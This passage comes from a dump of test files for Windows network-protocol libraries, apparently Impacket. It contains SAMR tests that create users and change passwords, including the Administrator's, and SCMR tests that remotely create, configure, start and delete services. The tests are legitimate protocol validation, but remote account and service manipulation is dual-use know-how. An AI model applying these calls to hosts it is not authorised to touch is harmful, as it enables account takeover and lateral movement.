dtypes.GROUP_SECURITY_INFORMATION,resp['SecurityDescriptor']  )\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_BAD_DESCRIPTOR_FORMAT') <= 0:\n                raise\n\n        resp = samr.hSamrCloseHandle(dce, userHandle)\n        resp.dump()\n\n    def test_SamrChangePasswordUser(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n\n        request = samr.SamrCreateUser2InDomain()\n        request['DomainHandle'] = domainHandle\n        request['Name'] = self.test_account\n        request['AccountType'] = samr.USER_NORMAL_ACCOUNT\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE\n\n        resp0 = dce.request(request)\n        resp0.dump()\n\n        oldPwd = ''\n        oldPwdHashNT = ntlm.NTOWFv1(oldPwd)\n        newPwd = 'ADMIN'\n        newPwdHashNT = ntlm.NTOWFv1(newPwd)\n        newPwdHashLM = ntlm.LMOWFv1(newPwd)\n\n        request = samr.SamrChangePasswordUser()\n        request['UserHandle'] = resp0['UserHandle']\n        request['LmPresent'] = 0\n        request['OldLmEncryptedWithNewLm'] = NULL\n        request['NewLmEncryptedWithOldLm'] = NULL\n        request['NtPresent'] = 1\n        request['OldNtEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)\n        request['NewNtEncryptedWithOldNt'] = crypto.SamEncryptNTLMHash(newPwdHashNT, oldPwdHashNT) \n        request['NtCrossEncryptionPresent'] = 0\n        request['NewNtEncryptedWithNewLm'] = NULL\n        request['LmCrossEncryptionPresent'] = 1\n        request['NewLmEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(newPwdHashLM, newPwdHashNT)\n        resp = dce.request(request)\n        resp.dump()\n\n        # Delete the temp user\n        request = samr.SamrDeleteUser()\n        request['UserHandle'] = resp0['UserHandle']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrChangePasswordUser(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n\n        request = samr.SamrCreateUser2InDomain()\n        request['DomainHandle'] = domainHandle\n        request['Name'] = self.test_account\n        request['AccountType'] = samr.USER_NORMAL_ACCOUNT\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE\n\n        resp0 = dce.request(request)\n        resp0.dump()\n\n        resp = samr.hSamrChangePasswordUser(dce, resp0['UserHandle'], '', 'ADMIN')\n        resp.dump()\n\n        # Delete the temp user\n        request = samr.SamrDeleteUser()\n        request['UserHandle'] = resp0['UserHandle']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_SamrOemChangePasswordUser2(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n        # As you can guess by now, target machine must have the Administrator account with password admin\n        # NOTE: It's giving me WRONG_PASSWORD  'cause the target test server doesn't hold LM Hashes\n        # further testing is needed to verify this call works\n        oldPwd = 'admin'\n        oldPwdHashLM = ntlm.LMOWFv1(oldPwd)\n        newPwd = 'ADMIN'\n        newPwdHashLM = ntlm.LMOWFv1(newPwd)\n\n        try:\n            from Cryptodome.Cipher import ARC4\n        except Exception:\n            print(\"Warning: You don't have any crypto installed. You need pycryptodomex\")\n            print(\"See https://pypi.org/project/pycryptodomex/\")\n\n        request = samr.SamrOemChangePasswordUser2()\n        request['ServerName'] = ''\n        request['UserName'] = 'Administrator'\n        samUser = samr.SAMPR_USER_PASSWORD()\n        samUser['Buffer'] = b'A'*(512-len(newPwd)) + b(newPwd)\n        samUser['Length'] = len(newPwd)\n        pwdBuff = samUser.getData()\n\n        rc4 = ARC4.new(oldPwdHashLM)\n        encBuf = rc4.encrypt(pwdBuff)\n        request['NewPasswordEncryptedWithOldLm']['Buffer'] = encBuf\n        request['OldLmOwfPasswordEncryptedWithNewLm'] = crypto.SamEncryptNTLMHash(oldPwdHashLM, newPwdHashLM)\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_WRONG_PASSWORD') < 0:\n                raise\n\n    def test_SamrUnicodeChangePasswordUser2(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n\n        request = samr.SamrCreateUser2InDomain()\n        request['DomainHandle'] = domainHandle\n        request['Name'] = self.test_account\n        request['AccountType'] = samr.USER_NORMAL_ACCOUNT\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE\n\n        resp0 = dce.request(request)\n        resp0.dump()\n\n        oldPwd = ''\n        oldPwdHashNT = ntlm.NTOWFv1(oldPwd)\n        newPwd = 'ADMIN'\n        newPwdHashNT = ntlm.NTOWFv1(newPwd)\n        newPwdHashLM = ntlm.LMOWFv1(newPwd)\n\n        request = samr.SamrChangePasswordUser()\n        request['UserHandle'] = resp0['UserHandle']\n        request['LmPresent'] = 0\n        request['OldLmEncryptedWithNewLm'] = NULL\n        request['NewLmEncryptedWithOldLm'] = NULL\n        request['NtPresent'] = 1\n        request['OldNtEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)\n        request['NewNtEncryptedWithOldNt'] = crypto.SamEncryptNTLMHash(newPwdHashNT, oldPwdHashNT) \n        request['NtCrossEncryptionPresent'] = 0\n        request['NewNtEncryptedWithNewLm'] = NULL\n        request['LmCrossEncryptionPresent'] = 1\n        request['NewLmEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(newPwdHashLM, newPwdHashNT)\n        resp = dce.request(request)\n        resp.dump()\n\n        oldPwd = 'ADMIN'\n        oldPwdHashNT = ntlm.NTOWFv1(oldPwd)\n        newPwd = \"\".join([random.choice(string.ascii_letters) for i in range(15)]) + \"❤️🤷‍♂️😈\"\n        newPwdHashNT = ntlm.NTOWFv1(newPwd)\n\n        try:\n            from Cryptodome.Cipher import ARC4\n        except Exception:\n            print(\"Warning: You don't have any crypto installed. You need pycryptodomex\")\n            print(\"See https://pypi.org/project/pycryptodomex/\")\n\n        request = samr.SamrUnicodeChangePasswordUser2()\n        request['ServerName'] = ''\n        request['UserName'] = self.test_account\n        samUser = samr.SAMPR_USER_PASSWORD()\n        encoded_password = newPwd.encode('utf-16le')\n        samUser['Buffer'] = b'A'*(512-len(encoded_password)) + encoded_password\n        samUser['Length'] = len(encoded_password)\n        pwdBuff = samUser.getData()\n\n        rc4 = ARC4.new(oldPwdHashNT)\n        encBuf = rc4.encrypt(pwdBuff)\n        request['NewPasswordEncryptedWithOldNt']['Buffer'] = encBuf\n        request['OldNtOwfPasswordEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)\n        request['LmPresent'] = 0\n        request['NewPasswordEncryptedWithOldLm'] = NULL\n        request['OldLmOwfPasswordEncryptedWithNewNt'] = NULL\n\n        try:\n            resp = dce.request(request)\n            resp.dump()\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_PASSWORD_RESTRICTION') < 0:\n                raise\n\n        # Delete the temp user\n        request = samr.SamrDeleteUser()\n        request['UserHandle'] = resp0['UserHandle']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_hSamrUnicodeChangePasswordUser2(self):\n        dce, rpc_transport = self.connect()\n        domainHandle = self.get_domain_handle(dce)\n\n        request = samr.SamrCreateUser2InDomain()\n        request['DomainHandle'] = domainHandle\n        request['Name'] = self.test_account\n        request['AccountType'] = samr.USER_NORMAL_ACCOUNT\n        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED | samr.USER_READ_GENERAL | samr.DELETE\n\n        resp0 = dce.request(request)\n        resp0.dump()\n\n        oldPwd = ''\n        oldPwdHashNT = ntlm.NTOWFv1(oldPwd)\n        newPwd = 'ADMIN'\n        newPwdHashNT = ntlm.NTOWFv1(newPwd)\n        newPwdHashLM = ntlm.LMOWFv1(newPwd)\n\n        request = samr.SamrChangePasswordUser()\n        request['UserHandle'] = resp0['UserHandle']\n        request['LmPresent'] = 0\n        request['OldLmEncryptedWithNewLm'] = NULL\n        request['NewLmEncryptedWithOldLm'] = NULL\n        request['NtPresent'] = 1\n        request['OldNtEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(oldPwdHashNT, newPwdHashNT)\n        request['NewNtEncryptedWithOldNt'] = crypto.SamEncryptNTLMHash(newPwdHashNT, oldPwdHashNT) \n        request['NtCrossEncryptionPresent'] = 0\n        request['NewNtEncryptedWithNewLm'] = NULL\n        request['LmCrossEncryptionPresent'] = 1\n        request['NewLmEncryptedWithNewNt'] = crypto.SamEncryptNTLMHash(newPwdHashLM, newPwdHashNT)\n        resp = dce.request(request)\n        resp.dump()\n\n        try:\n            resp = samr.hSamrUnicodeChangePasswordUser2(dce, '', self.test_account, 'ADMIN', 'betus')\n            resp.dump()\n        except Exception as e:\n            if str(e).find('STATUS_PASSWORD_RESTRICTION') < 0:\n                raise\n\n        # Delete the temp user\n        request = samr.SamrDeleteUser()\n        request['UserHandle'] = resp0['UserHandle']\n        resp = dce.request(request)\n        resp.dump()\n\n\n@pytest.mark.remote\nclass SAMRTestsSMBTransport(SAMRTests, unittest.TestCase):\n    protocol = \"ncacn_np\"\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER\n\n\n@pytest.mark.remote\nclass SAMRTestsSMBTransport64(SAMRTests, unittest.TestCase):\n    protocol = \"ncacn_np\"\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER\n\n\n@pytest.mark.remote\nclass SAMRTestsTCPTransport(SAMRTests, unittest.TestCase):\n    protocol = \"ncacn_ip_tcp\"\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR\n    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER\n\n\n@pytest.mark.remote\nclass SAMRTestsTCPTransport64(SAMRTests, unittest.TestCase):\n    protocol = \"ncacn_ip_tcp\"\n    transfer_syntax = DCERPCTests.TRANSFER_SYNTAX_NDR64\n    string_binding_formatting = DCERPCTests.STRING_BINDING_MAPPER\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dcerpc/test_scmr.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   ROpenSCManagerW\n#   RControlService\n#   RDeleteService\n#   RLockServiceDatabase\n#   RQueryServiceObjectSecurity\n#   RQueryServiceStatus\n#   RUnlockServiceDatabase\n#   RNotifyBootConfigStatus\n#   RChangeServiceConfigW\n#   RCreateServiceW\n#   REnumDependentServicesW\n#   REnumServicesStatusW\n#   ROpenSCManager\n#   ROpenServiceW\n#   RQueryServiceConfigW\n#   RQueryServiceLockStatusW\n#   RStartServiceW\n#   CRGetServiceDisplayNameW\n#   RGetServiceKeyNameW\n#   REnumServiceGroupW\n#   RChangeServiceConfig2W\n#   RQueryServiceConfig2W\n#   RQueryServiceStatusEx\n#   REnumServicesStatusExW\n#   RNotifyServiceStatusChange\n#   RGetNotifyResults\n#   RCloseNotifyHandle\n#   RControlServiceExW\n#   RQueryServiceConfigEx\n#\n# Not yet:\n#   hRCloseServiceHandleCall\n#   RSetServiceObjectSecurity\n#   RSetServiceStatus\n#   RCreateServiceWOW64W\n#\nimport time\nimport pytest\nimport unittest\nfrom struct import unpack\nfrom tests.dcerpc import DCERPCTests\n\nfrom impacket.dcerpc.v5 import scmr\nfrom impacket.dcerpc.v5.ndr import NULL\nfrom impacket.crypto import encryptSecret\nfrom impacket.uuid import string_to_bin\nfrom impacket import ntlm\n\n\nclass SCMRTests(DCERPCTests):\n    iface_uuid = scmr.MSRPC_UUID_SCMR\n    authn = True\n    \n    def get_service_handle(self, dce):\n        lpMachineName = 'DUMMY\\x00'\n        lpDatabaseName = 'ServicesActive\\x00'\n        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS | scmr.SC_MANAGER_ENUMERATE_SERVICE\n        resp = scmr.hROpenSCManagerW(dce, lpMachineName, lpDatabaseName, desiredAccess)\n        scHandle = resp['lpScHandle']\n        return scHandle\n\n    def changeServiceAndQuery(self, dce, cbBufSize, hService, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName):\n        try:\n            resp = scmr.hRChangeServiceConfigW(dce, hService, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize, lpServiceStartName, lpPassword, dwPwSize, lpDisplayName)\n            resp = scmr.hRQueryServiceConfigW(dce, hService)\n            resp.dump()\n            # Now let's compare all the results\n            if dwServiceType != scmr.SERVICE_NO_CHANGE:\n                self.assertEqual(resp['lpServiceConfig']['dwServiceType'], dwServiceType)\n            if dwStartType != scmr.SERVICE_NO_CHANGE:\n                self.assertEqual(resp['lpServiceConfig']['dwStartType'], dwStartType)\n            if dwErrorControl != scmr.SERVICE_NO_CHANGE:\n                self.assertEqual(resp['lpServiceConfig']['dwErrorControl'], dwErrorControl)\n            if lpBinaryPathName != NULL:\n                self.assertEqual(resp['lpServiceConfig']['lpBinaryPathName'], lpBinaryPathName)\n            if lpBinaryPathName != NULL:\n                self.assertEqual(resp['lpServiceConfig']['lpBinaryPathName'], lpBinaryPathName)\n            if lpLoadOrderGroup != NULL:\n                self.assertEqual(resp['lpServiceConfig']['lpLoadOrderGroup'], lpLoadOrderGroup)\n            #if lpDependencies != '':\n            #    self.assertEqual( resp['lpServiceConfig']['lpDependencies'], lpDependencies[:-4]+'/\\x00\\x00\\x00')\n            if lpServiceStartName != NULL:\n                self.assertEqual(resp['lpServiceConfig']['lpServiceStartName'], lpServiceStartName)\n            if lpDisplayName != NULL:\n                self.assertEqual(resp['lpServiceConfig']['lpDisplayName'], lpDisplayName)\n            #if lpdwTagId != scmr.SERVICE_NO_CHANGE:\n            #    if resp['lpServiceConfig']['dwTagId']['Data'] != lpdwTagId:\n            #        print \"ERROR %s\" % 'lpdwTagId'\n        except Exception:\n            scmr.hRDeleteService(dce, hService)\n            raise\n\n    def changeServiceAndQuery2(self, dce, info, changeDone):\n        serviceHandle = info['hService']\n        dwInfoLevel = info['Info']['Union']['tag']\n        cbBuffSize = 0\n        request = scmr.RQueryServiceConfig2W()\n        request['hService'] = serviceHandle\n        request['dwInfoLevel'] = dwInfoLevel\n        request['cbBufSize'] = cbBuffSize\n        try:\n            resp = dce.request(request)\n        except scmr.DCERPCSessionError as e:\n            if str(e).find('ERROR_INSUFFICIENT_BUFFER') <= 0:\n                raise\n            else: \n                resp = e.get_packet()\n\n        request['cbBufSize'] = resp['pcbBytesNeeded'] \n        resp = dce.request(request)\n        arrayData = b''.join(resp['lpBuffer'])\n        if dwInfoLevel == 1:\n           self.assertEqual(arrayData[4:].decode('utf-16le'), changeDone)\n        elif dwInfoLevel == 2:\n           offset = unpack('<L', arrayData[4:][:4])[0]\n           self.assertEqual(arrayData[offset:][:len(changeDone)*2].decode('utf-16le'), changeDone)\n        elif dwInfoLevel == 3:\n           self.assertEqual(unpack('<L', arrayData)[0], changeDone)\n        elif dwInfoLevel == 4:\n           self.assertEqual(unpack('<L', arrayData)[0], changeDone)\n        elif dwInfoLevel == 5:\n           self.assertEqual(unpack('<L', arrayData)[0], changeDone)\n        elif dwInfoLevel == 6:\n           changeDone = bytes(changeDone).decode('utf-16le')\n           self.assertEqual(arrayData[4:].decode('utf-16le'), changeDone)\n        elif dwInfoLevel == 7:\n           self.assertEqual(unpack('<L', arrayData)[0], changeDone)\n\n    def open_or_create_service(self, dce, scHandle, service_name, display_name, binary_path_name):\n\n        try:\n            desiredAccess = scmr.SERVICE_ALL_ACCESS\n            resp = scmr.hROpenServiceW(dce, scHandle, service_name, desiredAccess)\n            resp.dump()\n            return resp['lpServiceHandle']\n        except scmr.DCERPCSessionError as e:\n            if e.get_error_code() != 0x424:\n                raise\n\n        dwDesiredAccess = scmr.SERVICE_ALL_ACCESS\n        dwServiceType = scmr.SERVICE_WIN32_OWN_PROCESS\n        dwStartType = scmr.SERVICE_DEMAND_START\n        dwErrorControl = scmr.SERVICE_ERROR_NORMAL\n        lpLoadOrderGroup = NULL\n        lpdwTagId = NULL\n        lpDependencies = NULL\n        dwDependSize = 0\n        lpServiceStartName = NULL\n        lpPassword = NULL\n        dwPwSize = 0\n        resp = scmr.hRCreateServiceW(dce, scHandle, service_name, display_name, dwDesiredAccess,\n                                     dwServiceType, dwStartType, dwErrorControl, binary_path_name,\n                                     lpLoadOrderGroup, lpdwTagId, lpDependencies, dwDependSize,\n                                     lpServiceStartName, lpPassword, dwPwSize)\n        return resp['lpServiceHandle']\n\n    def test_RChangeServiceConfig2W(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n        newHandle = self.open_or_create_service(dce, scHandle, 'TESTSVC\\x00', 'DisplayName\\x00', 'binaryPath\\x00')\n        error = False\n        try:\n            request = scmr.RChangeServiceConfig2W()\n            request['hService'] = newHandle\n            request['Info']['dwInfoLevel'] = 1\n            request['Info']['Union']['tag'] = 1\n            request['Info']['Union']['psd']['lpDescription'] = 'betobeto\\x00'\n            resp = dce.request(request)\n            resp.dump()\n            self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psd']['lpDescription'])\n            request['Info']['dwInfoLevel'] = 2\n            request['Info']['Union']['tag'] = 2\n            request['Info']['Union']['psfa']['lpRebootMsg'] = 'rebootMsg\\00'\n            request['Info']['Union']['psfa']['lpCommand'] = 'lpCommand\\00'\n            resp = dce.request(request)\n            resp.dump()\n            self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psfa']['lpRebootMsg'])\n            request['Info']['dwInfoLevel'] = 3\n            request['Info']['Union']['tag'] = 3\n            request['Info']['Union']['psda']['fDelayedAutostart'] = 1\n            dce.request(request)\n            self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psda']['fDelayedAutostart'])\n            request['Info']['dwInfoLevel'] = 4\n            request['Info']['Union']['tag'] = 4\n            request['Info']['Union']['psfaf']['fFailureActionsOnNonCrashFailures'] = 1\n            dce.request(request)\n            self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psfaf']['fFailureActionsOnNonCrashFailures'])\n            request['Info']['dwInfoLevel'] = 5\n            request['Info']['Union']['tag'] = 5\n            request['Info']['Union']['pssid']['dwServiceSidType'] = 1\n            dce.request(request)\n            self.changeServiceAndQuery2(dce, request, request['Info']['Union']['pssid']['dwServiceSidType'])\n            request['Info']['dwInfoLevel'] = 6\n            request['Info']['Union']['tag'] = 6\n            request['Info']['Union']['psrp']['pRequiredPrivileges'] = list('SeAssignPrimaryTokenPrivilege\\x00\\x00'.encode('utf-16le'))\n            dce.request(request)\n            self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psrp']['pRequiredPrivileges'])\n            request['Info']['dwInfoLevel'] = 7\n            request['Info']['Union']['tag'] = 7\n            request['Info']['Union']['psps']['dwPreshutdownTimeout'] = 22\n            dce.request(request)\n            self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psps']['dwPreshutdownTimeout'])\n            request['Info']['dwInfoLevel'] = 8\n            request['Info']['Union']['tag'] = 8\n            #request.dump()\n            trigger = scmr.SERVICE_TRIGGER()\n            trigger['dwTriggerType'] = scmr.SERVICE_TRIGGER_TYPE_DOMAIN_JOIN\n            trigger['dwAction'] = scmr.SERVICE_TRIGGER_ACTION_SERVICE_START\n            trigger['pTriggerSubtype'] = string_to_bin(scmr.DOMAIN_JOIN_GUID)\n            item = scmr.SERVICE_TRIGGER_SPECIFIC_DATA_ITEM()\n            item['dwDataType'] = scmr.SERVICE_TRIGGER_DATA_TYPE_STRING\n            item['pData'] = list('FREEFLY\\x00'.encode('utf-16le'))\n            #trigger['pDataItems'].append(item)\n            trigger['pDataItems'] = NULL\n            request['Info']['Union']['psti']['pTriggers'].append(trigger)\n            dce.request(request)\n            #self.changeServiceAndQuery2(dce, request, '\\x00')\n            request['Info']['dwInfoLevel'] = 9\n            request['Info']['Union']['tag'] = 9\n            request['Info']['Union']['pspn']['usPreferredNode'] = 22\n            # This one doesn't work\n            #resp = dce.request(request)\n            #self.changeServiceAndQuery2(dce, request, request['Info']['Union']['pspn']['usPreferredNode'])\n            request['Info']['dwInfoLevel'] = 10\n            request['Info']['Union']['tag'] = 10\n            request['Info']['Union']['psri']['eLowestRunLevel'] = 1\n            # This one doesn't work\n            #resp = dce.request(request)\n            #self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psri']['eLowestRunLevel'])\n            request['Info']['dwInfoLevel'] = 11\n            request['Info']['Union']['tag'] = 11\n            request['Info']['Union']['psma']['fIsManagedAccount'] = 1\n            # This one doesn't work\n            #resp = dce.request(request)\n            #self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psma']['fIsManagedAccount'])\n\n        except Exception as e:\n            import traceback\n            traceback.print_exc()\n            print(e)\n            error = True\n            pass\n\n        scmr.hRDeleteService(dce, newHandle)\n        scmr.hRCloseServiceHandle(dce, newHandle)\n        scmr.hRCloseServiceHandle(dce, scHandle)\n        if error:\n            self.fail()\n    \n    def test_REnumServicesStatusExW(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n        request = scmr.REnumServicesStatusExW()\n        request['hSCManager'] = scHandle\n        request['InfoLevel'] = scmr.SC_STATUS_PROCESS_INFO\n        request['dwServiceType'] = scmr.SERVICE_WIN32_OWN_PROCESS\n        request['dwServiceState'] = scmr.SERVICE_STATE_ALL\n        request['lpResumeIndex'] = NULL\n        request['pszGroupName'] = NULL\n        request['cbBufSize'] = 0\n\n        # Request again with the right bufSize\n        try:\n            resp = dce.request(request)\n        except scmr.DCERPCSessionError as e:\n            if str(e).find('ERROR_MORE_DATA') <= 0:\n                raise\n            else: \n                resp = e.get_packet()\n        resp.dump()\n        request['cbBufSize'] = resp['pcbBytesNeeded']\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_RQueryServiceStatusEx(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n        lpServiceName = 'PlugPlay\\x00'\n        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS\n\n        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )\n        resp.dump()\n\n        serviceHandle = resp['lpServiceHandle']\n  \n        request = scmr.RQueryServiceStatusEx()\n        request['hService'] = serviceHandle\n        request['InfoLevel'] = scmr.SC_STATUS_PROCESS_INFO\n        request['cbBufSize'] = 100\n\n        resp = dce.request(request)\n        array = b''.join(resp['lpBuffer'])\n        scmr.SERVICE_STATUS_PROCESS(array)\n\n    @pytest.mark.skip(reason=\"ToDo\")\n    def test_REnumServiceGroupW(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n        \n        dwServiceType = scmr.SERVICE_WIN32_OWN_PROCESS\n        dwServiceState = scmr.SERVICE_STATE_ALL\n        cbBufSize = 10\n        lpResumeIndex = 0\n        pszGroupName = 'RemoteRegistry\\x00'\n\n        try:\n            resp = scmr.hREnumServiceGroupW(dce, scHandle, dwServiceType, dwServiceState, cbBufSize, lpResumeIndex, pszGroupName )\n            resp.dump()\n        except scmr.DCERPCSessionError as e:\n           if str(e).find('ERROR_SERVICE_DOES_NOT_EXISTS') <= 0:\n               raise\n\n        scmr.hRCloseServiceHandle(dce, scHandle)\n\n    def test_RQueryServiceConfigEx(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n        lpServiceName = 'RemoteRegistry\\x00'\n        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS\n\n        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )\n        resp.dump()\n        serviceHandle = resp['lpServiceHandle']\n\n        request = scmr.RQueryServiceConfigEx()\n        request['hService'] = serviceHandle\n        request['dwInfoLevel'] = 0x00000008\n\n        resp = dce.request(request)\n        resp.dump()\n\n    @pytest.mark.skip(reason=\"ToDo\")\n    def test_RControlServiceExW(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n        lpServiceName = 'PlugPlay\\x00'\n        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS\n\n        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )\n        resp.dump()\n        serviceHandle = resp['lpServiceHandle']\n\n        request = scmr.RControlServiceExW()\n        request['hService'] = serviceHandle\n        request['dwControl'] = scmr.SERVICE_CONTROL_STOP\n        request['dwInfoLevel'] = 1\n        # This is not working, don't know exactly why\n        request['pControlInParams']['dwReason'] = 0x20000000\n        request['pControlInParams']['pszComment'] = 'nada\\x00'\n        request['pControlInParams'] = NULL\n\n        resp = dce.request(request)\n        resp.dump()\n\n    @pytest.mark.skip(reason=\"ToDo\")\n    def test_RNotifyServiceStatusChange(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n        lpServiceName = 'PlugPlay\\x00'\n        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS\n\n        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )\n        resp.dump()\n        serviceHandle = resp['lpServiceHandle']\n\n        request = scmr.RNotifyServiceStatusChange()\n        request['hService'] =serviceHandle \n        request['NotifyParams']['tag']  = 1\n        request['NotifyParams']['pStatusChangeParam1']['dwNotifyMask'] = scmr.SERVICE_NOTIFY_RUNNING\n        request['pClientProcessGuid'] = '0'*16\n        #request.dump()\n        resp = dce.request(request)\n        resp.dump()\n\n        request = scmr.RCloseNotifyHandle()\n        request['phNotify'] = resp['phNotify']\n\n        resp = dce.request(request)\n        resp.dump()\n\n        request = scmr.RGetNotifyResults()\n        request['hNotify'] = resp['phNotify']\n\n        resp = dce.request(request)\n        resp.dump()\n\n    def test_RGetServiceDisplayNameW(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n\n        lpServiceName = 'PlugPlay\\x00'\n        lpcchBuffer = len(lpServiceName)+100\n\n        scmr.hRGetServiceDisplayNameW(dce, scHandle, lpServiceName, lpcchBuffer)\n\n        scmr.hRCloseServiceHandle(dce, scHandle)\n\n    def test_RGetServiceKeyNameW(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n\n        lpDisplayName = 'Plug and Play\\x00'\n        lpcchBuffer = len(lpDisplayName)+100\n\n        scmr.hRGetServiceKeyNameW(dce, scHandle, lpDisplayName, lpcchBuffer)\n\n        scmr.hRCloseServiceHandle(dce, scHandle)\n\n    def test_RStartServiceW(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n\n        lpServiceName = 'PlugPlay\\x00'\n        desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS\n\n        resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess )\n        resp.dump()\n        serviceHandle = resp['lpServiceHandle']\n  \n        try:\n            scmr.hRStartServiceW(dce, serviceHandle, 3, ['arg1\\x00', 'arg2\\x00', 'arg3\\x00'] )\n        except scmr.DCERPCSessionError as e:\n           if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') <= 0:\n               raise\n        scmr.hRCloseServiceHandle(dce, scHandle)\n\n    def test_RQueryServiceLockStatusW(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n\n        pcbBytesNeeded = 1000\n        scmr.hRQueryServiceLockStatusW(dce, scHandle, pcbBytesNeeded)\n\n        scmr.hRCloseServiceHandle(dce, scHandle)\n\n    def test_enumservices(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n\n        #####################\n        # EnumServicesStatusW\n        dwServiceType = scmr.SERVICE_KERNEL_DRIVER | scmr.SERVICE_FILE_SYSTEM_DRIVER | scmr.SERVICE_WIN32_OWN_PROCESS | scmr.SERVICE_WIN32_SHARE_PROCESS\n        dwServiceState = scmr.SERVICE_STATE_ALL\n        scmr.hREnumServicesStatusW(dce, scHandle, dwServiceType, dwServiceState)\n\n        scmr.hRCloseServiceHandle(dce, scHandle)\n\n    def test_create_change_delete(self):\n        dce, rpc_transport = self.connect()\n        scHandle = self.get_service_handle(dce)\n\n        #####################\n        # Create / Change /  Query / Delete a service\n        newHandle = self.open_or_create_service(dce, 